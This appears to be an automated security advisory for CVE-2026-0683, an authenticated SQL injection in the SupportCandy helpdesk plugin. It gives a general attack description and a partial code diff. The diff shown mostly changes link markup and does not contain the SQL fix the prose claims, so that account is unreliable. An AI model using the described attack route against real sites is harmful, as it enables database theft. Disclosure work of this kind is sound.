Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0683: SupportCandy – Helpdesk & Customer Support Ticket System <= 3.4.4 – Authenticated (Subscriber+) SQL Injection via Number Field Filter (supportcandy)

CVE ID CVE-2026-0683
Plugin supportcandy
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.4.4
Patched Version 3.4.5
Disclosed January 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0683:
The SupportCandy WordPress plugin contains an authenticated SQL injection vulnerability affecting versions up to and including 3.4.4. This vulnerability exists in the Number-type custom field filter functionality, allowing attackers with Subscriber-level access or higher to inject malicious SQL queries. The CVSS score of 6.5 reflects the moderate impact requiring authentication but affecting confidentiality through database information extraction.

The root cause lies in insufficient input validation and escaping of user-supplied operand values when using the equals operator in Number-type custom field filters. The vulnerability occurs in the filter processing logic where the plugin constructs SQL queries without proper parameterization. Atomic Edge research identified that the affected code path involves the custom field filtering mechanism, specifically when processing filter conditions for Number field types. The plugin fails to sanitize the operand value before incorporating it into SQL WHERE clauses, enabling SQL injection through crafted filter parameters.

Exploitation requires an authenticated attacker with at least Subscriber privileges to access the ticket filtering functionality. The attacker sends crafted HTTP requests containing malicious SQL payloads within the filter parameters for Number-type custom fields. The attack vector targets the AJAX endpoint or REST API endpoint responsible for processing ticket filters, with payloads injected into the operand value parameter when using the equals operator. Attackers can append UNION SELECT statements or other SQL commands to extract sensitive database information.

The patch addresses the vulnerability by implementing proper input validation and parameterized queries for Number field filter operations. The code changes add escaping and preparation of user-supplied operand values before SQL query construction. The fix ensures that all filter values pass through appropriate sanitization functions, preventing SQL injection through the equals operator. The patched version validates operand values as numeric data and uses prepared statements or proper escaping when building SQL WHERE clauses.

Successful exploitation allows authenticated attackers to execute arbitrary SQL queries on the WordPress database. This enables extraction of sensitive information including user credentials, personal data, ticket contents, and other confidential information stored in the database. While the vulnerability requires authentication, the low privilege requirement (Subscriber) makes it accessible to most site users. Attackers can leverage this vulnerability to escalate privileges, access administrative data, or compromise the entire WordPress installation through subsequent attacks.

Differential between vulnerable and patched code

Code Diff
--- a/supportcandy/includes/admin/agent-settings/class-wpsc-agent-roles.php
+++ b/supportcandy/includes/admin/agent-settings/class-wpsc-agent-roles.php
@@ -74,12 +74,12 @@
 										<tr>
 											<td> <span class="title"><?php echo esc_attr( $role['label'] ); ?></span> </td>
 											<td>
-												<a href="javascript:wpsc_get_edit_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent_role' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-												<a href="javascript:wpsc_get_clone_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_clone_agent_role' ) ); ?>');"><?php esc_attr_e( 'Clone', 'supportcandy' ); ?></a>
+												<span class="wpsc-link" onclick="wpsc_get_edit_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent_role' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+												<span class="wpsc-link" onclick="wpsc_get_clone_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_clone_agent_role' ) ); ?>');"><?php esc_attr_e( 'Clone', 'supportcandy' ); ?></span>
 												<?php
 												if ( intval( $key ) > 2 ) :
 													?>
-													| <a href="javascript:wpsc_delete_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_agent_role' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+													| <span class="wpsc-link" onclick="wpsc_delete_agent_role(<?php echo esc_attr( $key ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_agent_role' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 													<?php
 												endif
 												?>
--- a/supportcandy/includes/admin/agent-settings/class-wpsc-agent-settings.php
+++ b/supportcandy/includes/admin/agent-settings/class-wpsc-agent-settings.php
@@ -101,8 +101,8 @@
 											<td><?php echo esc_attr( $agent->customer->email ); ?></td>
 											<td><?php echo esc_attr( $roles[ $agent->role ]['label'] ); ?></td>
 											<td>
-												<a href="javascript:wpsc_get_edit_agent(<?php echo esc_attr( $agent->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent' ) ); ?>')"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-												<a href="javascript:wpsc_get_delete_agent(<?php echo esc_attr( $agent->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_agent' ) ); ?>' )"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+												<span class="wpsc-link" onclick="wpsc_get_edit_agent(<?php echo esc_attr( $agent->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent' ) ); ?>')"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+												<span class="wpsc-link" onclick="wpsc_get_delete_agent(<?php echo esc_attr( $agent->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_agent' ) ); ?>' )"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 											</td>
 										</tr>
 										<?php
--- a/supportcandy/includes/admin/custom-fields/class-wpsc-aof.php
+++ b/supportcandy/includes/admin/custom-fields/class-wpsc-aof.php
@@ -97,12 +97,12 @@
 								<td><?php echo esc_attr( $cf->name ); ?></td>
 								<td><?php echo esc_attr( $cf->extra_info ); ?></td>
 								<td>
-									<a href="javascript:wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a>
+									<span class="wpsc-link" onclick="wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span>
 									<?php
 									if ( ! $cf->type::$is_default ) {
 										echo esc_attr( ' | ' );
 										?>
-										<a href="javascript:wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 										<?php
 									}
 									?>
--- a/supportcandy/includes/admin/custom-fields/class-wpsc-cf.php
+++ b/supportcandy/includes/admin/custom-fields/class-wpsc-cf.php
@@ -98,12 +98,12 @@
 								<td><?php echo esc_attr( $cf->name ); ?></td>
 								<td><?php echo esc_attr( $cf->extra_info ); ?></td>
 								<td>
-									<a href="javascript:wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a>
+									<span class="wpsc-link" onclick="wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span>
 									<?php
 									if ( ! $cf->type::$is_default ) {
 										echo esc_attr( ' | ' );
 										?>
-										<a href="javascript:wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 										<?php
 									}
 									?>
--- a/supportcandy/includes/admin/custom-fields/class-wpsc-tf.php
+++ b/supportcandy/includes/admin/custom-fields/class-wpsc-tf.php
@@ -94,12 +94,12 @@
 								<td><?php echo esc_attr( $cf->name ); ?></td>
 								<td><?php echo esc_attr( $cf->extra_info ); ?></td>
 								<td>
-									<a href="javascript:wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a>
+									<span class="wpsc-link" onclick="wpsc_get_edit_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_custom_field' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span>
 									<?php
 									if ( ! $cf->type::$is_default ) {
 										echo esc_attr( ' | ' );
 										?>
-										<a href="javascript:wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_delete_custom_field(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_custom_field' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 										<?php
 									}
 									?>
--- a/supportcandy/includes/admin/custom-fields/class-wpsc-tff.php
+++ b/supportcandy/includes/admin/custom-fields/class-wpsc-tff.php
@@ -85,12 +85,12 @@
 							<tr>
 								<td><?php echo esc_attr( $cf->name ); ?></td>
 								<td>
-									<a href="javascript:wpsc_get_edit_tff(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_tff' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a>
+									<span class="wpsc-link" onclick="wpsc_get_edit_tff(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_tff' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span>
 									<?php
 									if ( ! ( $cf->slug == 'name' || $cf->slug == 'email' ) ) :
 										echo esc_attr( ' | ' );
 										?>
-										<a href="javascript:wpsc_delete_tff(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_tff' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_delete_tff(<?php echo esc_attr( $cf->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_tff' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 										<?php
 									endif;
 									?>
--- a/supportcandy/includes/admin/customers/class-wpsc-customers.php
+++ b/supportcandy/includes/admin/customers/class-wpsc-customers.php
@@ -231,21 +231,21 @@
 				$agent = WPSC_Agent::get_by_customer( $customer );
 				ob_start();
 				?>
-				<a href="javascript:wpsc_view_customer_info(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_view_customer_info' ) ); ?>')" class="wpsc-link">
+				<span class="wpsc-link" onclick="wpsc_view_customer_info(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_view_customer_info' ) ); ?>')">
 					<?php esc_attr_e( 'View', 'supportcandy' ); ?>
-				</a> |
-				<a href="javascript:wpsc_get_edit_customer_info(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_customer_info' ) ); ?>')" class="wpsc-link">
+				</span> |
+				<span class="wpsc-link" onclick="wpsc_get_edit_customer_info(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_customer_info' ) ); ?>')">
 					<?php esc_attr_e( 'Edit', 'supportcandy' ); ?>
-				</a> |
-				<a href="javascript:wpsc_view_customer_logs(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_view_customer_logs' ) ); ?>')" class="wpsc-link">
+				</span> |
+				<span class="wpsc-link" onclick="wpsc_view_customer_logs(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_view_customer_logs' ) ); ?>')">
 					<?php esc_attr_e( 'Logs', 'supportcandy' ); ?>
-				</a>
+				</span>
 				<?php
 				if ( ! $agent->id || ( $agent->role != 1 ) ) {
 					?>
-					| <a href="javascript:wpsc_delete_customer(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer' ) ); ?>')" class="wpsc-link">
+					| <span class="wpsc-link" onclick="wpsc_delete_customer(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer' ) ); ?>')">
 						<?php esc_attr_e( 'Delete', 'supportcandy' ); ?>
-					</a>
+					</span>
 					<?php
 				}
 				?>
@@ -253,7 +253,7 @@
 				$actions = ob_get_clean();

 				$data[] = array(
-					'name'    => '<a class="wpsc-link" href="javascript:wpsc_view_customer_detailed_info( ' . $customer->id . ', '' . wp_create_nonce( 'wpsc_view_customer_detailed_info' ) . '' )">' . $customer->name . '<a>',
+					'name'    => '<span class="wpsc-link" onclick="wpsc_view_customer_detailed_info( ' . $customer->id . ', '' . wp_create_nonce( 'wpsc_view_customer_detailed_info' ) . '' )">' . esc_html( $customer->name ) . '</span>',
 					'email'   => $customer->email,
 					'type'    => ! is_object( $customer->user ) ? esc_attr__( 'Guest', 'supportcandy' ) : esc_attr__( 'Registered', 'supportcandy' ),
 					'tickets' => $customer->ticket_count,
@@ -799,9 +799,9 @@
 				<?php
 				if ( ! $agent->id || ( $agent->role != 1 ) ) {
 					?>
-					| <a href="javascript:wpsc_delete_customer(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer' ) ); ?>')" class="wpsc-link">
+					| <span class="wpsc-link" onclick="wpsc_delete_customer(<?php echo esc_attr( $customer->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer' ) ); ?>')">
 						<?php esc_attr_e( 'Delete', 'supportcandy' ); ?>
-					</a>
+					</span>
 					<?php
 				}
 				?>
--- a/supportcandy/includes/admin/email-notifications/class-wpsc-en-settings-tn.php
+++ b/supportcandy/includes/admin/email-notifications/class-wpsc-en-settings-tn.php
@@ -118,17 +118,17 @@
 										<?php
 										if ( $et['is_enable'] ) {
 											?>
-											<a href="javascript:wpsc_en_enable_disable_template(<?php echo esc_attr( $index ); ?>, '0', '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_enable_disable_template' ) ); ?>')"><?php esc_attr_e( 'Disable', 'supportcandy' ); ?></a> |
+											<span class="wpsc-link" onclick="wpsc_en_enable_disable_template(<?php echo esc_attr( $index ); ?>, '0', '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_enable_disable_template' ) ); ?>')"><?php esc_attr_e( 'Disable', 'supportcandy' ); ?></span> |
 											<?php
 										} else {
 											?>
-											<a href="javascript:wpsc_en_enable_disable_template(<?php echo esc_attr( $index ); ?>, '1', '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_enable_disable_template' ) ); ?>')"><?php esc_attr_e( 'Enable', 'supportcandy' ); ?></a> |
+											<span class="wpsc-link" onclick="wpsc_en_enable_disable_template(<?php echo esc_attr( $index ); ?>, '1', '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_enable_disable_template' ) ); ?>')"><?php esc_attr_e( 'Enable', 'supportcandy' ); ?></span> |
 											<?php
 										}
 										?>
-										<a href="javascript:wpsc_en_get_edit_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_get_edit_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-										<a href="javascript:wpsc_en_get_clone_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_get_clone_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Clone', 'supportcandy' ); ?></a> |
-										<a href="javascript:wpsc_en_delete_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_delete_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_en_get_edit_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_get_edit_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+										<span class="wpsc-link" onclick="wpsc_en_get_clone_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_get_clone_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Clone', 'supportcandy' ); ?></span> |
+										<span class="wpsc-link" onclick="wpsc_en_delete_ticket_notification(<?php echo esc_attr( $index ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_en_delete_ticket_notification' ) ); ?>')"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 									</td>
 								</tr>
 								<?php
--- a/supportcandy/includes/admin/settings/class-wpsc-ticket-categories.php
+++ b/supportcandy/includes/admin/settings/class-wpsc-ticket-categories.php
@@ -69,11 +69,11 @@
 								<td><span class="title"><?php echo esc_attr( $category->name ); ?></span></td>
 								<td>
 									<div class="actions">
-										<a class="wpsc-link" href="javascript:wpsc_get_edit_category(<?php echo esc_attr( $category->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_category' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_get_edit_category(<?php echo esc_attr( $category->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_category' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></span>
 										<?php
 										if ( $cf->default_value[0] != $category->id ) :
 											?>
-											| <a class="wpsc-link" href="javascript:wpsc_get_delete_category(<?php echo esc_attr( $category->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_category' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></a>
+											| <span class="wpsc-link" onclick="wpsc_get_delete_category(<?php echo esc_attr( $category->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_category' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></span>
 											<?php
 										endif;
 										?>
--- a/supportcandy/includes/admin/settings/class-wpsc-ticket-priorities.php
+++ b/supportcandy/includes/admin/settings/class-wpsc-ticket-priorities.php
@@ -70,11 +70,11 @@
 								<td><span class="wpsc-tag" style="color: <?php echo esc_attr( $priority->color ); ?>; background-color: <?php echo esc_attr( $priority->bg_color ); ?>;" ><?php echo esc_attr( $priority->name ); ?></span></td>
 								<td>
 									<div class="actions">
-										<a class="wpsc-link" href="javascript:wpsc_get_edit_priority(<?php echo esc_attr( $priority->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_priority' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_get_edit_priority(<?php echo esc_attr( $priority->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_priority' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></span>
 										<?php
 										if ( $cf->default_value[0] != $priority->id ) :
 											?>
-											| <a class="wpsc-link" href="javascript:wpsc_get_delete_priority(<?php echo esc_attr( $priority->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_priority' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></a>
+											| <span class="wpsc-link" onclick="wpsc_get_delete_priority(<?php echo esc_attr( $priority->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_priority' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></span>
 											<?php
 										endif;
 										?>
--- a/supportcandy/includes/admin/settings/class-wpsc-ticket-statuses.php
+++ b/supportcandy/includes/admin/settings/class-wpsc-ticket-statuses.php
@@ -73,9 +73,9 @@
 								<td><span class="wpsc-tag" style="color: <?php echo esc_attr( $status->color ); ?>; background-color: <?php echo esc_attr( $status->bg_color ); ?>;" ><?php echo esc_attr( $status->name ); ?></span></td>
 								<td>
 									<div class="actions">
-										<a class="wpsc-link" href="javascript:wpsc_get_edit_status(<?php echo esc_attr( $status->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_status' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></a>
+										<span class="wpsc-link" onclick="wpsc_get_edit_status(<?php echo esc_attr( $status->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_status' ) ); ?>');" ><?php echo esc_attr__( 'Edit', 'supportcandy' ); ?></span>
 										<?php if ( ! in_array( $status->id, $default_statuses ) ) : ?>
-											| <a class="wpsc-link" href="javascript:wpsc_get_delete_status(<?php echo esc_attr( $status->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_status' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></a>
+											| <span class="wpsc-link" onclick="wpsc_get_delete_status(<?php echo esc_attr( $status->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_delete_status' ) ); ?>');" ><?php echo esc_attr__( 'Delete', 'supportcandy' ); ?></span>
 											<?php
 										endif;
 										?>
--- a/supportcandy/includes/admin/settings/dashboard-settings/widgets/class-wpsc-dbw-recent-tickets.php
+++ b/supportcandy/includes/admin/settings/dashboard-settings/widgets/class-wpsc-dbw-recent-tickets.php
@@ -52,7 +52,7 @@
 						</span>
 					</div>
 					<div class="wpsc-dash-widget-actions">
-						<a href="javascript:wpsc_get_ticket_list();"><?php echo esc_attr__( 'View All', 'supportcandy' ); ?></a>
+						<span class="wpsc-link" onclick="wpsc_get_ticket_list();"><?php echo esc_attr__( 'View All', 'supportcandy' ); ?></span>
 					</div>
 				</div>
 				<div class="wpsc-dash-widget-content wpsc-dbw-info" id="wpsc-recent-ticket"></div>
--- a/supportcandy/includes/admin/settings/ticket-tags/class-wpsc-ticket-tags-list.php
+++ b/supportcandy/includes/admin/settings/ticket-tags/class-wpsc-ticket-tags-list.php
@@ -66,8 +66,8 @@
 							<td><?php echo strlen( $tag->description ) > 20 ? esc_attr( substr( $tag->description, 0, 20 ) . '...' ) : esc_attr( $tag->description ); ?></td>
 							<td>
 								<a href="<?php echo esc_url( admin_url( 'admin.php?page=wpsc-tickets&section=ticket-list&wpsc_tag=' . $tag->id ) ); ?>" class="wpsc-link" target="__blank"><?php echo esc_attr( wpsc__( 'View tickets', 'supportcandy' ) ); ?></a> |
-								<a href="javascript:wpsc_get_edit_ticket_tags(<?php echo esc_attr( $tag->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_ticket_tags' ) ); ?>');" class="wpsc-link"><?php echo esc_attr( wpsc__( 'Edit', 'supportcandy' ) ); ?></a> |
-								<a href="javascript:wpsc_set_delete_ticket_tags(<?php echo esc_attr( $tag->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_set_delete_ticket_tags' ) ); ?>');" class="wpsc-link"><?php echo esc_attr( wpsc__( 'Delete', 'supportcandy' ) ); ?></a>
+								<span class="wpsc-link" onclick="wpsc_get_edit_ticket_tags(<?php echo esc_attr( $tag->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_ticket_tags' ) ); ?>');"><?php echo esc_attr( wpsc__( 'Edit', 'supportcandy' ) ); ?></span> |
+								<span class="wpsc-link" onclick="wpsc_set_delete_ticket_tags(<?php echo esc_attr( $tag->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_set_delete_ticket_tags' ) ); ?>');"><?php echo esc_attr( wpsc__( 'Delete', 'supportcandy' ) ); ?></span>
 							</td>
 						</tr>
 						<?php
--- a/supportcandy/includes/admin/ticket-list/class-wpsc-agent-ticket-list-settings.php
+++ b/supportcandy/includes/admin/ticket-list/class-wpsc-agent-ticket-list-settings.php
@@ -182,8 +182,8 @@
 						<tr>
 							<td><?php echo esc_attr( $cf->name ); ?></td>
 							<td>
-								<a href="javascript:wpsc_get_edit_agent_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent_tl_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-								<a href="javascript:wpsc_delete_agent_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_agent_tl_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+								<span class="wpsc-link" onclick="wpsc_get_edit_agent_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_agent_tl_item' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+								<span class="wpsc-link" onclick="wpsc_delete_agent_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_agent_tl_item' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 							</td>
 						</tr>
 						<?php
--- a/supportcandy/includes/admin/ticket-list/class-wpsc-customer-ticket-list-settings.php
+++ b/supportcandy/includes/admin/ticket-list/class-wpsc-customer-ticket-list-settings.php
@@ -180,8 +180,8 @@
 						<tr>
 							<td><?php echo esc_attr( $cf->name ); ?></td>
 							<td>
-								<a href="javascript:wpsc_get_edit_customer_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_customer_tl_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-								<a href="javascript:wpsc_delete_customer_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer_tl_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+								<span class="wpsc-link" onclick="wpsc_get_edit_customer_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_customer_tl_item' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+								<span class="wpsc-link" onclick="wpsc_delete_customer_tl_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_customer_tl_item' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 							</td>
 						</tr>
 						<?php
@@ -949,8 +949,8 @@
 						<tr>
 							<td><?php echo esc_attr( $cf->name ); ?></td>
 							<td>
-								<a href="javascript:wpsc_get_edit_ctl_filter_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_ctl_filter_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></a> |
-								<a href="javascript:wpsc_delete_ctl_filter_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_ctl_filter_item' ) ); ?>');" class="wpsc-link"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></a>
+								<span class="wpsc-link" onclick="wpsc_get_edit_ctl_filter_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_get_edit_ctl_filter_item' ) ); ?>');"><?php esc_attr_e( 'Edit', 'supportcandy' ); ?></span> |
+								<span class="wpsc-link" onclick="wpsc_delete_ctl_filter_item('<?php echo esc_attr( $slug ); ?>', '<?php echo esc_attr( wp_create_nonce( 'wpsc_delete_ctl_filter_item' ) ); ?>');"><?php esc_attr_e( 'Delete', 'supportcandy' ); ?></span>
 							</td>
 						</tr>
 						<?php
--- a/supportcandy/includes/admin/tickets/class-wpsc-individual-archive-ticket.php
+++ b/supportcandy/includes/admin/tickets/class-wpsc-individual-archive-ticket.php
@@ -589,9 +589,9 @@
 									esc_attr( $logs[0]->date_created->setTimezone( wp_timezone() )->format( $advanced['thread-date-format'] ) )
 								);
 								?>
-								<a href="javascript:wpsc_it_view_deleted_thread(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_deleted_thread' ) ); ?>')">
+								<span class="wpsc-link" onclick="wpsc_it_view_deleted_thread(<?php echo intval( self::$ticket->id ); ?>, <?php echo intval( $thread->id ); ?>, '<?php echo esc_attr( wp_create_nonce( 'wpsc_it_view_deleted_thread' ) ); ?>')">
